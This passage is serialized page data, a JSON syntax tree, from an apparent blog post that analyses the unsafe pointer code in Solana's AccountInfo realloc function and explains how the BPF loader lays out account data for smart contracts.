ptr",{"type":23,"tag":41,"props":13853,"children":13854},{"style":170},[13855],{"type":28,"value":3017},{"type":23,"tag":41,"props":13857,"children":13858},{"style":64},[13859],{"type":28,"value":13791},{"type":23,"tag":41,"props":13861,"children":13862},{"style":170},[13863],{"type":28,"value":706},{"type":23,"tag":41,"props":13865,"children":13866},{"style":114},[13867],{"type":28,"value":13868},"try_borrow_mut_data",{"type":23,"tag":41,"props":13870,"children":13871},{"style":70},[13872],{"type":28,"value":13873},"()",{"type":23,"tag":41,"props":13875,"children":13876},{"style":170},[13877],{"type":28,"value":3132},{"type":23,"tag":41,"props":13879,"children":13880},{"style":114},[13881],{"type":28,"value":13882},"as_mut_ptr",{"type":23,"tag":41,"props":13884,"children":13885},{"style":70},[13886],{"type":28,"value":13873},{"type":23,"tag":41,"props":13888,"children":13889},{"style":170},[13890],{"type":28,"value":706},{"type":23,"tag":41,"props":13892,"children":13893},{"style":114},[13894],{"type":28,"value":13895},"offset",{"type":23,"tag":41,"props":13897,"children":13898},{"style":70},[13899],{"type":28,"value":1737},{"type":23,"tag":41,"props":13901,"children":13902},{"style":170},[13903],{"type":28,"value":4329},{"type":23,"tag":41,"props":13905,"children":13906},{"style":164},[13907],{"type":28,"value":4078},{"type":23,"tag":41,"props":13909,"children":13910},{"style":70},[13911],{"type":28,"value":866},{"type":23,"tag":41,"props":13913,"children":13914},{"style":64},[13915],{"type":28,"value":8838},{"type":23,"tag":41,"props":13917,"children":13918},{"style":170},[13919],{"type":28,"value":9814},{"type":23,"tag":41,"props":13921,"children":13922},{"style":64},[13923],{"type":28,"value":3723},{"type":23,"tag":41,"props":13925,"children":13926},{"style":94},[13927],{"type":28,"value":5860},{"type":23,"tag":41,"props":13929,"children":13930},{"style":70},[13931],{"type":28,"value":183},{"type":23,"tag":41,"props":13933,"children":13934},{"class":43,"line":195},[13935,13939,13944,13948,13953,13957,13961],{"type":23,"tag":41,"props":13936,"children":13937},{"style":170},[13938],{"type":28,"value":7751},{"type":23,"tag":41,"props":13940,"children":13941},{"style":858},[13942],{"type":28,"value":13943},"ptr",{"type":23,"tag":41,"props":13945,"children":13946},{"style":170},[13947],{"type":28,"value":3017},{"type":23,"tag":41,"props":13949,"children":13950},{"style":858},[13951],{"type":28,"value":13952}," new_len",{"type":23,"tag":41,"props":13954,"children":13955},{"style":64},[13956],{"type":28,"value":8825},{"type":23,"tag":41,"props":13958,"children":13959},{"style":94},[13960],{"type":28,"value":5860},{"type":23,"tag":41,"props":13962,"children":13963},{"style":70},[13964],{"type":28,"value":183},{"type":23,"tag":41,"props":13966,"children":13967},{"class":43,"line":905},[13968],{"type":23,"tag":41,"props":13969,"children":13970},{"emptyLinePlaceholder":18},[13971],{"type":28,"value":82},{"type":23,"tag":41,"props":13973,"children":13974},{"class":43,"line":922},[13975],{"type":23,"tag":41,"props":13976,"children":13977},{"style":48},[13978],{"type":28,"value":13979},"        // Then set the new length in the local slice\n",{"type":23,"tag":41,"props":13981,"children":13982},{"class":43,"line":930},[13983,13987,13991,13995,13999,14003,14007,14012,14016,14020,14024,14028,14033,14037,14041,14045,14049,14053,14057,14061,14065,14069,14073,14077,14081,14085,14089,14093,14097,14101,14105],{"type":23,"tag":41,"props":13984,"children":13985},{"style":64},[13986],{"type":28,"value":3066},{"type":23,"tag":41,"props":13988,"children":13989},{"style":858},[13990],{"type":28,"value":13851},{"type":23,"tag":41,"props":13992,"children":13993},{"style":170},[13994],{"type":28,"value":3017},{"type":23,"tag":41,"props":13996,"children":13997},{"style":170},[13998],{"type":28,"value":7140},{"type":23,"tag":41,"props":14000,"children":14001},{"style":64},[14002],{"type":28,"value":3723},{"type":23,"tag":41,"props":14004,"children":14005},{"style":170},[14006],{"type":28,"value":9814},{"type":23,"tag":41,"props":14008,"children":14009},{"style":70},[14010],{"type":28,"value":14011},"(((",{"type":23,"tag":41,"props":14013,"children":14014},{"style":64},[14015],{"type":28,"value":13708},{"type":23,"tag":41,"props":14017,"children":14018},{"style":170},[14019],{"type":28,"value":706},{"type":23,"tag":41,"props":14021,"children":14022},{"style":70},[14023],{"type":28,"value":3701},{"type":23,"tag":41,"props":14025,"children":14026},{"style":170},[14027],{"type":28,"value":706},{"type":23,"tag":41,"props":14029,"children":14030},{"style":114},[14031],{"type":28,"value":14032},"as_ptr",{"type":23,"tag":41,"props":14034,"children":14035},{"style":70},[14036],{"type":28,"value":122},{"type":23,"tag":41,"props":14038,"children":14039},{"style":64},[14040],{"type":28,"value":8838},{"type":23,"tag":41,"props":14042,"children":14043},{"style":170},[14044],{"type":28,"value":9814},{"type":23,"tag":41,"props":14046,"children":14047},{"style":64},[14048],{"type":28,"value":846},{"type":23,"tag":41,"props":14050,"children":14051},{"style":94},[14052],{"type":28,"value":5860},{"type":23,"tag":41,"props":14054,"children":14055},{"style":70},[14056],{"type":28,"value":2678},{"type":23,"tag":41,"props":14058,"children":14059},{"style":170},[14060],{"type":28,"value":706},{"type":23,"tag":41,"props":14062,"children":14063},{"style":114},[14064],{"type":28,"value":13895},{"type":23,"tag":41,"props":14066,"children":14067},{"style":70},[14068],{"type":28,"value":1737},{"type":23,"tag":41,"props":14070,"children":14071},{"style":164},[14072],{"type":28,"value":317},{"type":23,"tag":41,"props":14074,"children":14075},{"style":70},[14076],{"type":28,"value":866},{"type":23,"tag":41,"props":14078,"children":14079},{"style":64},[14080],{"type":28,"value":8838},{"type":23,"tag":41,"props":14082,"children":14083},{"style":94},[14084],{"type":28,"value":5860},{"type":23,"tag":41,"props":14086,"children":14087},{"style":70},[14088],{"type":28,"value":866},{"type":23,"tag":41,"props":14090,"children":14091},{"style":64},[14092],{"type":28,"value":8838},{"type":23,"tag":41,"props":14094,"children":14095},{"style":170},[14096],{"type":28,"value":9814},{"type":23,"tag":41,"props":14098,"children":14099},{"style":64},[14100],{"type":28,"value":3723},{"type":23,"tag":41,"props":14102,"children":14103},{"style":94},[14104],{"type":28,"value":5860},{"type":23,"tag":41,"props":14106,"children":14107},{"style":70},[14108],{"type":28,"value":3825},{"type":23,"tag":41,"props":14110,"children":14111},{"class":43,"line":939},[14112,14116,14120,14124,14128,14132,14136],{"type":23,"tag":41,"props":14113,"children":14114},{"style":170},[14115],{"type":28,"value":7751},{"type":23,"tag":41,"props":14117,"children":14118},{"style":858},[14119],{"type":28,"value":13943},{"type":23,"tag":41,"props":14121,"children":14122},{"style":170},[14123],{"type":28,"value":3017},{"type":23,"tag":41,"props":14125,"children":14126},{"style":858},[14127],{"type":28,"value":13952},{"type":23,"tag":41,"props":14129,"children":14130},{"style":64},[14131],{"type":28,"value":8825},{"type":23,"tag":41,"props":14133,"children":14134},{"style":94},[14135],{"type":28,"value":5860},{"type":23,"tag":41,"props":14137,"children":14138},{"style":70},[14139],{"type":28,"value":183},{"type":23,"tag":41,"props":14141,"children":14142},{"class":43,"line":947},[14143],{"type":23,"tag":41,"props":14144,"children":14145},{"style":70},[14146],{"type":28,"value":192},{"type":23,"tag":41,"props":14148,"children":14149},{"class":43,"line":985},[14150],{"type":23,"tag":41,"props":14151,"children":14152},{"emptyLinePlaceholder":18},[14153],{"type":28,"value":82},{"type":23,"tag":41,"props":14155,"children":14156},{"class":43,"line":1058},[14157],{"type":23,"tag":41,"props":14158,"children":14159},{"style":48},[14160],{"type":28,"value":14161},"    // zero-init if requested\n",{"type":23,"tag":41,"props":14163,"children":14164},{"class":43,"line":1084},[14165,14169,14174,14178,14182,14187,14191],{"type":23,"tag":41,"props":14166,"children":14167},{"style":58},[14168],{"type":28,"value":2440},{"type":23,"tag":41,"props":14170,"children":14171},{"style":858},[14172],{"type":28,"value":14173}," zero_init",{"type":23,"tag":41,"props":14175,"children":14176},{"style":170},[14177],{"type":28,"value":2472},{"type":23,"tag":41,"props":14179,"children":14180},{"style":858},[14181],{"type":28,"value":13952},{"type":23,"tag":41,"props":14183,"children":14184},{"style":170},[14185],{"type":28,"value":14186}," >",{"type":23,"tag":41,"props":14188,"children":14189},{"style":858},[14190],{"type":28,"value":13782},{"type":23,"tag":41,"props":14192,"children":14193},{"style":70},[14194],{"type":28,"value":102},{"type":23,"tag":41,"props":14196,"children":14197},{"class":43,"line":1102},[14198,14203],{"type":23,"tag":41,"props":14199,"children":14200},{"style":114},[14201],{"type":28,"value":14202},"        sol_memset",{"type":23,"tag":41,"props":14204,"children":14205},{"style":70},[14206],{"type":28,"value":3461},{"type":23,"tag":41,"props":14208,"children":14209},{"class":43,"line":1110},[14210,14214,14218,14222,14226,14230,14234,14238,14242,14247,14251],{"type":23,"tag":41,"props":14211,"children":14212},{"style":170},[14213],{"type":28,"value":7684},{"type":23,"tag":41,"props":14215,"children":14216},{"style":64},[14217],{"type":28,"value":3723},{"type":23,"tag":41,"props":14219,"children":14220},{"style":64},[14221],{"type":28,"value":13791},{"type":23,"tag":41,"props":14223,"children":14224},{"style":170},[14225],{"type":28,"value":706},{"type":23,"tag":41,"props":14227,"children":14228},{"style":114},[14229],{"type":28,"value":13868},{"type":23,"tag":41,"props":14231,"children":14232},{"style":70},[14233],{"type":28,"value":13873},{"type":23,"tag":41,"props":14235,"children":14236},{"style":170},[14237],{"type":28,"value":3155},{"type":23,"tag":41,"props":14239,"children":14240},{"style":70},[14241],{"type":28,"value":312},{"type":23,"tag":41,"props":14243,"children":14244},{"style":858},[14245],{"type":28,"value":14246},"orig_len",{"type":23,"tag":41,"props":14248,"children":14249},{"style":170},[14250],{"type":28,"value":3053},{"type":23,"tag":41,"props":14252,"children":14253},{"style":70},[14254],{"type":28,"value":14255},"],\n",{"type":23,"tag":41,"props":14257,"children":14258},{"class":43,"line":1118},[14259,14264],{"type":23,"tag":41,"props":14260,"children":14261},{"style":164},[14262],{"type":28,"value":14263},"            0",{"type":23,"tag":41,"props":14265,"children":14266},{"style":70},[14267],{"type":28,"value":3506},{"type":23,"tag":41,"props":14269,"children":14270},{"class":43,"line":1137},[14271,14276,14280,14285,14289,14293],{"type":23,"tag":41,"props":14272,"children":14273},{"style":858},[14274],{"type":28,"value":14275},"            new_len",{"type":23,"tag":41,"props":14277,"children":14278},{"style":170},[14279],{"type":28,"value":706},{"type":23,"tag":41,"props":14281,"children":14282},{"style":114},[14283],{"type":28,"value":14284},"saturating_sub",{"type":23,"tag":41,"props":14286,"children":14287},{"style":70},[14288],{"type":28,"value":1737},{"type":23,"tag":41,"props":14290,"children":14291},{"style":858},[14292],{"type":28,"value":14246},{"type":23,"tag":41,"props":14294,"children":14295},{"style":70},[14296],{"type":28,"value":6735},{"type":23,"tag":41,"props":14298,"children":14299},{"class":43,"line":1163},[14300],{"type":23,"tag":41,"props":14301,"children":14302},{"style":70},[14303],{"type":28,"value":7743},{"type":23,"tag":41,"props":14305,"children":14306},{"class":43,"line":1188},[14307],{"type":23,"tag":41,"props":14308,"children":14309},{"style":70},[14310],{"type":28,"value":192},{"type":23,"tag":41,"props":14312,"children":14313},{"class":43,"line":1979},[14314],{"type":23,"tag":41,"props":14315,"children":14316},{"emptyLinePlaceholder":18},[14317],{"type":28,"value":82},{"type":23,"tag":41,"props":14319,"children":14320},{"class":43,"line":2002},[14321,14326],{"type":23,"tag":41,"props":14322,"children":14323},{"style":94},[14324],{"type":28,"value":14325},"    Ok",{"type":23,"tag":41,"props":14327,"children":14328},{"style":70},[14329],{"type":28,"value":14330},"(())\n",{"type":23,"tag":41,"props":14332,"children":14333},{"class":43,"line":3835},[14334],{"type":23,"tag":41,"props":14335,"children":14336},{"style":70},[14337],{"type":28,"value":201},{"type":23,"tag":24,"props":14339,"children":14340},{},[14341,14343,14349,14351,14356],{"type":28,"value":14342},"Oh. There's ",{"type":23,"tag":37,"props":14344,"children":14346},{"className":14345},[],[14347],{"type":28,"value":14348},"unsafe",{"type":28,"value":14350},". And no bounds check in sight. ",{"type":23,"tag":2913,"props":14352,"children":14353},{},[14354],{"type":28,"value":14355},"And",{"type":28,"value":14357}," pointer math. That doesn't look promising...",{"type":23,"tag":446,"props":14359,"children":14361},{"id":14360},"breaking-down-realloc",[14362,14364],{"type":28,"value":14363},"Breaking down ",{"type":23,"tag":37,"props":14365,"children":14367},{"className":14366},[],[14368],{"type":28,"value":13633},{"type":23,"tag":24,"props":14370,"children":14371},{},[14372,14374,14379],{"type":28,"value":14373},"Let's pick apart this ",{"type":23,"tag":37,"props":14375,"children":14377},{"className":14376},[],[14378],{"type":28,"value":14348},{"type":28,"value":14380}," block, since there's a lot going on here.",{"type":23,"tag":31,"props":14382,"children":14384},{"className":2982,"code":14383,"language":2981,"meta":7,"style":7},"// First set new length in the serialized data\nlet ptr = self.try_borrow_mut_data()?.as_mut_ptr().offset(-8) as *mut u64;\n*ptr = new_len as u64;\n",[14385],{"type":23,"tag":37,"props":14386,"children":14387},{"__ignoreMap":7},[14388,14396,14483],{"type":23,"tag":41,"props":14389,"children":14390},{"class":43,"line":44},[14391],{"type":23,"tag":41,"props":14392,"children":14393},{"style":48},[14394],{"type":28,"value":14395},"// First set new length in the serialized data\n",{"type":23,"tag":41,"props":14397,"children":14398},{"class":43,"line":54},[14399,14403,14407,14411,14415,14419,14423,14427,14431,14435,14439,14443,14447,14451,14455,14459,14463,14467,14471,14475,14479],{"type":23,"tag":41,"props":14400,"children":14401},{"style":64},[14402],{"type":28,"value":11784},{"type":23,"tag":41,"props":14404,"children":14405},{"style":858},[14406],{"type":28,"value":13851},{"type":23,"tag":41,"props":14408,"children":14409},{"style":170},[14410],{"type":28,"value":3017},{"type":23,"tag":41,"props":14412,"children":14413},{"style":64},[14414],{"type":28,"value":13791},{"type":23,"tag":41,"props":14416,"children":14417},{"style":170},[14418],{"type":28,"value":706},{"type":23,"tag":41,"props":14420,"children":14421},{"style":114},[14422],{"type":28,"value":13868},{"type":23,"tag":41,"props":14424,"children":14425},{"style":70},[14426],{"type":28,"value":13873},{"type":23,"tag":41,"props":14428,"children":14429},{"style":170},[14430],{"type":28,"value":3132},{"type":23,"tag":41,"props":14432,"children":14433},{"style":114},[14434],{"type":28,"value":13882},{"type":23,"tag":41,"props":14436,"children":14437},{"style":70},[14438],{"type":28,"value":13873},{"type":23,"tag":41,"props":14440,"children":14441},{"style":170},[14442],{"type":28,"value":706},{"type":23,"tag":41,"props":14444,"children":14445},{"style":114},[14446],{"type":28,"value":13895},{"type":23,"tag":41,"props":14448,"children":14449},{"style":70},[14450],{"type":28,"value":1737},{"type":23,"tag":41,"props":14452,"children":14453},{"style":170},[14454],{"type":28,"value":4329},{"type":23,"tag":41,"props":14456,"children":14457},{"style":164},[14458],{"type":28,"value":4078},{"type":23,"tag":41,"props":14460,"children":14461},{"style":70},[14462],{"type":28,"value":866},{"type":23,"tag":41,"props":14464,"children":14465},{"style":64},[14466],{"type":28,"value":8838},{"type":23,"tag":41,"props":14468,"children":14469},{"style":170},[14470],{"type":28,"value":9814},{"type":23,"tag":41,"props":14472,"children":14473},{"style":64},[14474],{"type":28,"value":3723},{"type":23,"tag":41,"props":14476,"children":14477},{"style":94},[14478],{"type":28,"value":5860},{"type":23,"tag":41,"props":14480,"children":14481},{"style":70},[14482],{"type":28,"value":183},{"type":23,"tag":41,"props":14484,"children":14485},{"class":43,"line":76},[14486,14490,14494,14498,14502,14506,14510],{"type":23,"tag":41,"props":14487,"children":14488},{"style":170},[14489],{"type":28,"value":377},{"type":23,"tag":41,"props":14491,"children":14492},{"style":858},[14493],{"type":28,"value":13943},{"type":23,"tag":41,"props":14495,"children":14496},{"style":170},[14497],{"type":28,"value":3017},{"type":23,"tag":41,"props":14499,"children":14500},{"style":858},[14501],{"type":28,"value":13952},{"type":23,"tag":41,"props":14503,"children":14504},{"style":64},[14505],{"type":28,"value":8825},{"type":23,"tag":41,"props":14507,"children":14508},{"style":94},[14509],{"type":28,"value":5860},{"type":23,"tag":41,"props":14511,"children":14512},{"style":70},[14513],{"type":28,"value":183},{"type":23,"tag":24,"props":14515,"children":14516},{},[14517,14522],{"type":23,"tag":37,"props":14518,"children":14520},{"className":14519},[],[14521],{"type":28,"value":13868},{"type":28,"value":14523}," returns a mutable reference to the underlying buffer holding the data of the account. Normally in the course of contract execution, this comes from the serialized buffer passed into the contract by the BPF loader. So before we can understand the details here, let's take a quick detour...",{"type":23,"tag":546,"props":14525,"children":14527},{"id":14526},"bpf-loader-abi",[14528],{"type":28,"value":14529},"BPF Loader ABI",{"type":23,"tag":24,"props":14531,"children":14532},{},[14533,14535,14540,14542,14555],{"type":28,"value":14534},"Solana smart contracts have one job: interact with on-chain accounts. So what's the interface between the contract and the rest of the chain? To answer that, we're going to take a look at ",{"type":23,"tag":37,"props":14536,"children":14538},{"className":14537},[],[14539],{"type":28,"value":13648},{"type":28,"value":14541},"'s entrypoint code - the code that's added when you use the ",{"type":23,"tag":458,"props":14543,"children":14546},{"href":14544,"rel":14545},"https://docs.rs/solana-program/1.10.28/src/solana_program/entrypoint.rs.html#116-131",[462],[14547,14553],{"type":23,"tag":37,"props":14548,"children":14550},{"className":14549},[],[14551],{"type":28,"value":14552},"entrypoint!",{"type":28,"value":14554}," macro",{"type":28,"value":1474},{"type":23,"tag":31,"props":14557,"children":14559},{"className":2982,"code":14558,"language":2981,"meta":7,"style":7},"#[no_mangle]\npub unsafe extern \"C\" fn entrypoint(input: *mut u8) -> u64 {\n    let (program_id, accounts, instruction_data) =\n        unsafe { $crate::entrypoint::deserialize(input) };\n    match $process_instruction(&program_id, &accounts, &instruction_data) {\n        Ok(()) => $crate::entrypoint::SUCCESS,\n        Err(error) => error.into(),\n    }\n}\n",[14560],{"type":23,"tag":37,"props":14561,"children":14562},{"__ignoreMap":7},[14563,14571,14643,14686,14738,14796,14839,14882,14889],{"type":23,"tag":41,"props":14564,"children":14565},{"class":43,"line":44},[14566],{"type":23,"tag":41,"props":14567,"children":14568},{"style":70},[14569],{"type":28,"value":14570},"#[no_mangle]\n",{"type":23,"tag":41,"props":14572,"children":14573},{"class":43,"line":54},[14574,14578,14583,14588,14593,14597,14602,14606,14610,14614,14618,14622,14627,14631,14635,14639],{"type":23,"tag":41,"props":14575,"children":14576},{"style":64},[14577],{"type":28,"value":13685},{"type":23,"tag":41,"props":14579,"children":14580},{"style":64},[14581],{"type":28,"value":14582}," unsafe",{"type":23,"tag":41,"props":14584,"children":14585},{"style":64},[14586],{"type":28,"value":14587}," extern",{"type":23,"tag":41,"props":14589,"children":14590},{"style":735},[14591],{"type":28,"value":14592}," \"C\"",{"type":23,"tag":41,"props":14594,"children":14595},{"style":64},[14596],{"type":28,"value":13690},{"type":23,"tag":41,"props":14598,"children":14599},{"style":114},[14600],{"type":28,"value":14601}," entrypoint",{"type":23,"tag":41,"props":14603,"children":14604},{"style":70},[14605],{"type":28,"value":1737},{"type":23,"tag":41,"props":14607,"children":14608},{"style":858},[14609],{"type":28,"value":8366},{"type":23,"tag":41,"props":14611,"children":14612},{"style":170},[14613],{"type":28,"value":1474},{"type":23,"tag":41,"props":14615,"children":14616},{"style":170},[14617],{"type":28,"value":9814},{"type":23,"tag":41,"props":14619,"children":14620},{"style":64},[14621],{"type":28,"value":3723},{"type":23,"tag":41,"props":14623,"children":14624},{"style":94},[14625],{"type":28,"value":14626}," u8",{"type":23,"tag":41,"props":14628,"children":14629},{"style":70},[14630],{"type":28,"value":866},{"type":23,"tag":41,"props":14632,"children":14633},{"style":170},[14634],{"type":28,"value":2453},{"type":23,"tag":41,"props":14636,"children":14637},{"style":94},[14638],{"type":28,"value":5860},{"type":23,"tag":41,"props":14640,"children":14641},{"style":70},[14642],{"type":28,"value":102},{"type":23,"tag":41,"props":14644,"children":14645},{"class":43,"line":76},[14646,14650,14654,14659,14663,14668,14672,14677,14681],{"type":23,"tag":41,"props":14647,"children":14648},{"style":64},[14649],{"type":28,"value":3002},{"type":23,"tag":41,"props":14651,"children":14652},{"style":70},[14653],{"type":28,"value":142},{"type":23,"tag":41,"props":14655,"children":14656},{"style":858},[14657],{"type":28,"value":14658},"program_id",{"type":23,"tag":41,"props":14660,"children":14661},{"style":70},[14662],{"type":28,"value":970},{"type":23,"tag":41,"props":14664,"children":14665},{"style":858},[14666],{"type":28,"value":14667},"accounts",{"type":23,"tag":41,"props":14669,"children":14670},{"style":70},[14671],{"type":28,"value":970},{"type":23,"tag":41,"props":14673,"children":14674},{"style":858},[14675],{"type":28,"value":14676},"instruction_data",{"type":23,"tag":41,"props":14678,"children":14679},{"style":70},[14680],{"type":28,"value":866},{"type":23,"tag":41,"props":14682,"children":14683},{"style":170},[14684],{"type":28,"value":14685},"=\n",{"type":23,"tag":41,"props":14687,"children":14688},{"class":43,"line":85},[14689,14694,14698,14702,14707,14711,14716,14720,14725,14729,14733],{"type":23,"tag":41,"props":14690,"children":14691},{"style":64},[14692],{"type":28,"value":14693},"        unsafe",{"type":23,"tag":41,"props":14695,"children":14696},{"style":70},[14697],{"type":28,"value":9584},{"type":23,"tag":41,"props":14699,"children":14700},{"style":170},[14701],{"type":28,"value":10286},{"type":23,"tag":41,"props":14703,"children":14704},{"style":64},[14705],{"type":28,"value":14706},"crate",{"type":23,"tag":41,"props":14708,"children":14709},{"style":170},[14710],{"type":28,"value":3479},{"type":23,"tag":41,"props":14712,"children":14713},{"style":70},[14714],{"type":28,"value":14715},"entrypoint",{"type":23,"tag":41,"props":14717,"children":14718},{"style":170},[14719],{"type":28,"value":3479},{"type":23,"tag":41,"props":14721,"children":14722},{"style":114},[14723],{"type":28,"value":14724},"deserialize",{"type":23,"tag":41,"props":14726,"children":14727},{"style":70},[14728],{"type":28,"value":1737},{"type":23,"tag":41,"props":14730,"children":14731},{"style":858},[14732],{"type":28,"value":8366},{"type":23,"tag":41,"props":14734,"children":14735},{"style":70},[14736],{"type":28,"value":14737},") };\n",{"type":23,"tag":41,"props":14739,"children":14740},{"class":43,"line":105},[14741,14746,14751,14756,14760,14764,14768,14772,14776,14780,14784,14788,14792],{"type":23,"tag":41,"props":14742,"children":14743},{"style":58},[14744],{"type":28,"value":14745},"    match",{"type":23,"tag":41,"props":14747,"children":14748},{"style":170},[14749],{"type":28,"value":14750}," $",{"type":23,"tag":41,"props":14752,"children":14753},{"style":858},[14754],{"type":28,"value":14755},"process_instruction",{"type":23,"tag":41,"props":14757,"children":14758},{"style":70},[14759],{"type":28,"value":1737},{"type":23,"tag":41,"props":14761,"children":14762},{"style":170},[14763],{"type":28,"value":855},{"type":23,"tag":41,"props":14765,"children":14766},{"style":858},[14767],{"type":28,"value":14658},{"type":23,"tag":41,"props":14769,"children":14770},{"style":70},[14771],{"type":28,"value":970},{"type":23,"tag":41,"props":14773,"children":14774},{"style":170},[14775],{"type":28,"value":855},{"type":23,"tag":41,"props":14777,"children":14778},{"style":858},[14779],{"type":28,"value":14667},{"type":23,"tag":41,"props":14781,"children":14782},{"style":70},[14783],{"type":28,"value":970},{"type":23,"tag":41,"props":14785,"children":14786},{"style":170},[14787],{"type":28,"value":855},{"type":23,"tag":41,"props":14789,"children":14790},{"style":858},[14791],{"type":28,"value":14676},{"type":23,"tag":41,"props":14793,"children":14794},{"style":70},[14795],{"type":28,"value":152},{"type":23,"tag":41,"props":14797,"children":14798},{"class":43,"line":155},[14799,14804,14809,14814,14818,14822,14826,14830,14834],{"type":23,"tag":41,"props":14800,"children":14801},{"style":94},[14802],{"type":28,"value":14803},"        Ok",{"type":23,"tag":41,"props":14805,"children":14806},{"style":70},[14807],{"type":28,"value":14808},"(()) ",{"type":23,"tag":41,"props":14810,"children":14811},{"style":170},[14812],{"type":28,"value":14813},"=>",{"type":23,"tag":41,"props":14815,"children":14816},{"style":170},[14817],{"type":28,"value":14750},{"type":23,"tag":41,"props":14819,"children":14820},{"style":64},[14821],{"type":28,"value":14706},{"type":23,"tag":41,"props":14823,"children":14824},{"style":170},[14825],{"type":28,"value":3479},{"type":23,"tag":41,"props":14827,"children":14828},{"style":70},[14829],{"type":28,"value":14715},{"type":23,"tag":41,"props":14831,"children":14832},{"style":170},[14833],{"type":28,"value":3479},{"type":23,"tag":41,"props":14835,"children":14836},{"style":70},[14837],{"type":28,"value":14838},"SUCCESS,\n",{"type":23,"tag":41,"props":14840,"children":14841},{"class":43,"line":186},[14842,14847,14851,14856,14860,14864,14869,14873,14878],{"type":23,"tag":41,"props":14843,"children":14844},{"style":94},[14845],{"type":28,"value":14846},"        Err",{"type":23,"tag":41,"props":14848,"children":14849},{"style":70},[14850],{"type":28,"value":1737},{"type":23,"tag":41,"props":14852,"children":14853},{"style":858},[14854],{"type":28,"value":14855},"error",{"type":23,"tag":41,"props":14857,"children":14858},{"style":70},[14859],{"type":28,"value":866},{"type":23,"tag":41,"props":14861,"children":14862},{"style":170},[14863],{"type":28,"value":14813},{"type":23,"tag":41,"props":14865,"children":14866},{"style":858},[14867],{"type":28,"value":14868}," error",{"type":23,"tag":41,"props":14870,"children":14871},{"style":170},[14872],{"type":28,"value":706},{"type":23,"tag":41,"props":14874,"children":14875},{"style":114},[14876],{"type":28,"value":14877},"into",{"type":23,"tag":41,"props":14879,"children":14880},{"style":70},[14881],{"type":28,"value":3489},{"type":23,"tag":41,"props":14883,"children":14884},{"class":43,"line":195},[14885],{"type":23,"tag":41,"props":14886,"children":14887},{"style":70},[14888],{"type":28,"value":192},{"type":23,"tag":41,"props":14890,"children":14891},{"class":43,"line":905},[14892],{"type":23,"tag":41,"props":14893,"children":14894},{"style":70},[14895],{"type":28,"value":201},{"type":23,"tag":24,"props":14897,"children":14898},{},[14899,14901,14906,14908,14914,14916,14923,14925,14931,14933,14940],{"type":28,"value":14900},"What we see here is the contract's real entrypoint - it takes a ",{"type":23,"tag":37,"props":14902,"children":14904},{"className":14903},[],[14905],{"type":28,"value":3419},{"type":28,"value":14907}," buffer in from the loader, and calls ",{"type":23,"tag":37,"props":14909,"children":14911},{"className":14910},[],[14912],{"type":28,"value":14913},"solana_program::entrypoint::deserialize",{"type":28,"value":14915},", which then ",{"type":23,"tag":458,"props":14917,"children":14920},{"href":14918,"rel":14919},"https://docs.rs/solana-program/1.10.28/src/solana_program/entrypoint.rs.html#281-337",[462],[14921],{"type":28,"value":14922},"parses out",{"type":28,"value":14924}," all the ",{"type":23,"tag":37,"props":14926,"children":14928},{"className":14927},[],[14929],{"type":28,"value":14930},"AccountInfo",{"type":28,"value":14932},"s, instruction data, and the current running program ID. We can see how the data buffer is ",{"type":23,"tag":458,"props":14934,"children":14937},{"href":14935,"rel":14936},"https://docs.rs/solana-program/1.10.28/src/solana_program/entrypoint.rs.html#308-316",[462],[14938],{"type":28,"value":14939},"laid out",{"type":28,"value":1474},{"type":23,"tag":31,"props":14942,"children":14944},{"className":2982,"code":14943,"language":2981,"meta":7,"style":7},"#[allow(clippy::cast_ptr_alignment)]\nlet data_len = *(input.add(offset) as *const u64) as usize;\noffset += size_of::\u003Cu64>();\n\nlet data = Rc::new(RefCell::new({\n    from_raw_parts_mut(input.add(offset), data_len)\n}));\noffset += data_len + MAX_PERMITTED_DATA_INCREASE;\noffset += (offset as *const u8).align_offset(BPF_ALIGN_OF_U128); // padding\n",[14945],{"type":23,"tag":37,"props":14946,"children":14947},{"__ignoreMap":7},[14948,14965,15045,15078,15085,15133,15178,15186,15210],{"type":23,"tag":41,"props":14949,"children":14950},{"class":43,"line":44},[14951,14956,14960],{"type":23,"tag":41,"props":14952,"children":14953},{"style":70},[14954],{"type":28,"value":14955},"#[allow(clippy",{"type":23,"tag":41,"props":14957,"children":14958},{"style":170},[14959],{"type":28,"value":3479},{"type":23,"tag":41,"props":14961,"children":14962},{"style":70},[14963],{"type":28,"value":14964},"cast_ptr_alignment)]\n",{"type":23,"tag":41,"props":14966,"children":14967},{"class":43,"line":54},[14968,14972,14977,14981,14985,14989,14993,14997,15001,15005,15009,15013,15017,15021,15025,15029,15033,15037,15041],{"type":23,"tag":41,"props":14969,"children":14970},{"style":64},[14971],{"type":28,"value":11784},{"type":23,"tag":41,"props":14973,"children":14974},{"style":858},[14975],{"type":28,"value":14976}," data_len",{"type":23,"tag":41,"props":14978,"children":14979},{"style":170},[14980],{"type":28,"value":3017},{"type":23,"tag":41,"props":14982,"children":14983},{"style":170},[14984],{"type":28,"value":9814},{"type":23,"tag":41,"props":14986,"children":14987},{"style":70},[14988],{"type":28,"value":1737},{"type":23,"tag":41,"props":14990,"children":14991},{"style":858},[14992],{"type":28,"value":8366},{"type":23,"tag":41,"props":14994,"children":14995},{"style":170},[14996],{"type":28,"value":706},{"type":23,"tag":41,"props":14998,"children":14999},{"style":114},[15000],{"type":28,"value":9636},{"type":23,"tag":41,"props":15002,"children":15003},{"style":70},[15004],{"type":28,"value":1737},{"type":23,"tag":41,"props":15006,"children":15007},{"style":858},[15008],{"type":28,"value":13895},{"type":23,"tag":41,"props":15010,"children":15011},{"style":70},[15012],{"type":28,"value":866},{"type":23,"tag":41,"props":15014,"children":15015},{"style":64},[15016],{"type":28,"value":8838},{"type":23,"tag":41,"props":15018,"children":15019},{"style":170},[15020],{"type":28,"value":9814},{"type":23,"tag":41,"props":15022,"children":15023},{"style":64},[15024],{"type":28,"value":846},{"type":23,"tag":41,"props":15026,"children":15027},{"style":94},[15028],{"type":28,"value":5860},{"type":23,"tag":41,"props":15030,"children":15031},{"style":70},[15032],{"type":28,"value":866},{"type":23,"tag":41,"props":15034,"children":15035},{"style":64},[15036],{"type":28,"value":8838},{"type":23,"tag":41,"props":15038,"children":15039},{"style":94},[15040],{"type":28,"value":13726},{"type":23,"tag":41,"props":15042,"children":15043},{"style":70},[15044],{"type":28,"value":183},{"type":23,"tag":41,"props":15046,"children":15047},{"class":43,"line":76},[15048,15052,15057,15062,15066,15070,15074],{"type":23,"tag":41,"props":15049,"children":15050},{"style":858},[15051],{"type":28,"value":13895},{"type":23,"tag":41,"props":15053,"children":15054},{"style":170},[15055],{"type":28,"value":15056}," 